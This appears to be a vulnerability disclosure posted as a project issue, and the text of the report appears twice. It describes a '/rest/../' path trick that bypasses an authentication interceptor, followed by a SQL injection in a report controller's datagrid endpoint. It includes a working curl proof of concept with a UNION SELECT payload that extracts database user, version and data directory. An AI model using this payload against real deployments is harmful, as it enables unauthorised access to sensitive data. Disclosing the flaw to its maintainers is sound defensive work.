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There is a SQL injection vulnerability in the project.
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#IB2XZG
张淇伊
Opened this issue
2024-11-08 13:25
I found one SQL injection vulnerability in the code, which allows an unauthorized attacker to access sensitive data in the system.The details are as follows. First, there is a flaw in the class named `AuthInterceptor`.   In the filter code, use `request.getRequestURI()` to obtain the request path, and then determine whether the uri startsWith `rest/`. If the condition is not met, it will execute `return true` to bypass the Interceptor. Otherwise, it will block the current request and redirect to the login page. The problem lies in using `request.getRequestURI()` to obtain the request path. The path obtained by this function will not parse special symbols, but will be passed on directly, so you can use `/rest/../` to bypass it. Second, there is one api `CgReportController` causing SQL injection. In the method `org.jeecgframework.web.cgreport.controller.core.CgReportController#datagrid`, the code fails to properly validate the parameters before substituting them into the SQL statement when the `configId` is set to `jckcs`. This lack of validation leads to a SQL injection (SQLi) vulnerability.  The poc is like this. ```shell curl --noproxy "*" --path-as-is --location --request POST "http://<your-ip>:8080/rest/../cgReportController.do?datagrid=1&page=-1&rows=-1&configId=jckcs" \ --header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \ --header 'Accept: */*' \ --header 'Host: localhost:8080' \ --header 'Connection: keep-alive' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --header 'Cookie: JSESSIONID=DA22E520EDA83F2609FECE3B64542A58' \ --data-urlencode 'begin_date=1000000000 union select user(), database(), version(), @@DATADIR, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1) t -- a' \ --data-urlencode 'end_date=1' ```  
I found one SQL injection vulnerability in the code, which allows an unauthorized attacker to access sensitive data in the system.The details are as follows. First, there is a flaw in the class named `AuthInterceptor`.   In the filter code, use `request.getRequestURI()` to obtain the request path, and then determine whether the uri startsWith `rest/`. If the condition is not met, it will execute `return true` to bypass the Interceptor. Otherwise, it will block the current request and redirect to the login page. The problem lies in using `request.getRequestURI()` to obtain the request path. The path obtained by this function will not parse special symbols, but will be passed on directly, so you can use `/rest/../` to bypass it. Second, there is one api `CgReportController` causing SQL injection. In the method `org.jeecgframework.web.cgreport.controller.core.CgReportController#datagrid`, the code fails to properly validate the parameters before substituting them into the SQL statement when the `configId` is set to `jckcs`. This lack of validation leads to a SQL injection (SQLi) vulnerability.  The poc is like this. ```shell curl --noproxy "*" --path-as-is --location --request POST "http://<your-ip>:8080/rest/../cgReportController.do?datagrid=1&page=-1&rows=-1&configId=jckcs" \ --header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \ --header 'Accept: */*' \ --header 'Host: localhost:8080' \ --header 'Connection: keep-alive' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --header 'Cookie: JSESSIONID=DA22E520EDA83F2609FECE3B64542A58' \ --data-urlencode 'begin_date=1000000000 union select user(), database(), version(), @@DATADIR, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1) t -- a' \ --data-urlencode 'end_date=1' ```  
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